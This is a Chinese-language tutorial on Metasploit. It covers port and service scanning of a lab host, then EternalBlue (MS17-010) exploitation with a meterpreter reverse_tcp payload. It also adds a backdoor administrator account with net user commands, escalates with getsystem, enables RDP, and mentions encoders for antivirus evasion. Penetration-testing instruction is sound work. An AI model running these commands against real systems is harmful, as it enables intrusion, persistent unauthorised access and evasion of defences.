MSF简介

Metasploit框架(Metasploit Framework, MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。
Metasploit可向后端模块提供多种用来控制测试的接口(如控制台、 Web 、 CLI )。推荐使用控制台接口,通过控制台接口,你可以访问和使用所有Metasploit的插件,例如Payload、利用模块、 Post模块等。 Metasploit还有第三方程序的接口,例如Nmap、SQLMap 等,可以直接在控制台接口里使用,要访问该界面。

MSF五大模块类型

Auxiliaries(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。

Exploit(漏洞利用模块)
漏洞利用是指由渗透测试者利用 一个系统、应用或者服务中的安全漏洞进行的攻击行为 。流行的渗透攻击技术包括缓冲区溢出、 Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码 。

Payload(攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由地选择、传送和植入 。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等 。

Post(后期渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。

Encoders(编码工具模块)
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、 IDS及类似的安全软件检测出来

MSF启动、退出、更新

进入kali虚拟机,打开终端,输入msfconsole,进入MSF框架。
输入命令exit退出MSF框架,来进行框架升级。
使用MSF之前,最好将其更新,以获取更多漏洞模块的支持。
先使用apt update,再使用apt install metasploit-framework。
再次输入命令msfconsole,查询更新后版本,可以看到版本已更新,响应EXP等利用模块均增加了。

主机扫描

扫描和收集信息是渗透测试中的第一步,其主要目标是尽可能多地发现有关目标机器的信息。获取的信息越多,渗透的概率就越大。该步骤的主要关注点是目标机器IP地址、可用服务、开放端口等。

使用辅助模块进行端口扫描

辅助模块是MSF的内置模块,首先利用search portscan命令查询一下有哪些可用的端口扫描模块,执行过程如下。

msf6 > search portscan

在上述结果中,可以看到有8个可用的端口扫描模块,此处以tcp端口扫描模块为例进行扫描。输入命令use auxiliary/scanner/portscan/tcp进入对应模块(看>号前面的内容就知道自己所处模块位置),再输入show options查询对应模块需要使用的参数。

msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.200.129 /设置要扫描的ip
RHOSTS => 192.168.200.129
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 16 /设置线程数,越多越快
THREADS => 16
msf6 auxiliary(scanner/portscan/tcp) > run


其实还有两条可选命令:setg命令和unsetg命令 。二者用于在msfconsole中设置或者取消设置全局性的参数值,从而避免重复输入相同的值。

使用辅助模块进行服务扫描

在扫描目标机器上运行的服务时,有多种基于服务的扫描技术可供选择,例如VNC 、FTP 、SMB等,只需执行特定类型的扫描就可以发现服务。
使用命令search scanner可以发现大量的扫描模块,约有600多个,建议读者多尝试不同的辅助扫描模块,了解其用法。
使用search scanner/smb搜索与SMB服务相关的模块,搜索结果如下。使用的步骤与使用端口扫描模块时的基本相同.

使用 Nmap 扫描

在Metasploit中同样可以使用Nmap扫描,它不仅可以用来确定目标网络上计算机的存活状态,而且可以扫描计算机的操作系统、开放端口、服务等。熟练掌握Nmap的用法可以极大地提高个人的渗透测试技术。
在MSF框架中可以直接使用Nmap,输入命令nmap -A 192.168.200.129对靶机进行全面扫描,过程如下,可以看到445端口开启着,可能存在利用永恒之蓝漏洞。

漏洞探测及利用

漏洞探测

在上述信息收集中,我们发现445端口开启,代表着目标靶机运行者SMB服务,这给我们提供了下一步分析了利用的方向。本节内容主要围绕永恒之蓝漏洞展开,因此使用命令search ms17_010查询与永恒之蓝相关的可利用模块,发现公有4个模块,辅助模块和利用模块各两个。

端口开启不代表就存在永恒之蓝漏洞,因此我们还需要借助更具体的扫描模块来检验是否存在永恒之蓝漏洞,使用命令use auxiliary/scanner/smb/smb_ms17_010进入永恒之蓝漏洞扫描模块,输入参数options查看所需参数。

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > options


在参数查询结果中,可以看到必填项中有RHOSTS还未设置信息,使用set命令设置参数后使用run命令运行该模块。在运行结果的第一行中,Host is likely VULNERABLE to MS17-010!表示主机可能会受到ms17-010漏洞的伤害,也就是存在该漏洞。

漏洞利用

到此,我们从发现445端口开启,到验证永恒之蓝漏洞的存在,下一步就是漏洞利用,在前面我们已经搜索到永恒之蓝的两个漏洞利用模块,此处使用第一个进行测试。使用命令use exploit/windows/smb/ms17_010_eternalblue进入该模块,并输入命令options查看所需参数。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > options


在参数查询结果中,可以看到必填项中有RHOSTS还未设置信息,使用set命令设置参数后使用run命令运行该模块。可以看到漏洞已经利用成功,接下去就可以设置用户及其他留后门的手段了。

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.200.129
rhosts => 192.168.200.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > run


GetShell。输入命令shell来让靶机反弹shell到当前窗口。GetShell成功。

创建用户并提权为管理员。

C:\Windows\system32>net user yjs21322 yjs21322 /add
C:\Windows\system32>net localgroup /add administrators yjs21322


验证:在win7的终端,输入net user查询用户列表,可以看到yjs21322用户已经在其中。

后渗透,运行命令getsystem先将当前的session提升为system权限
run post/windows/manage/enable_rdp,利用此后渗透模块即可直接开启远程桌面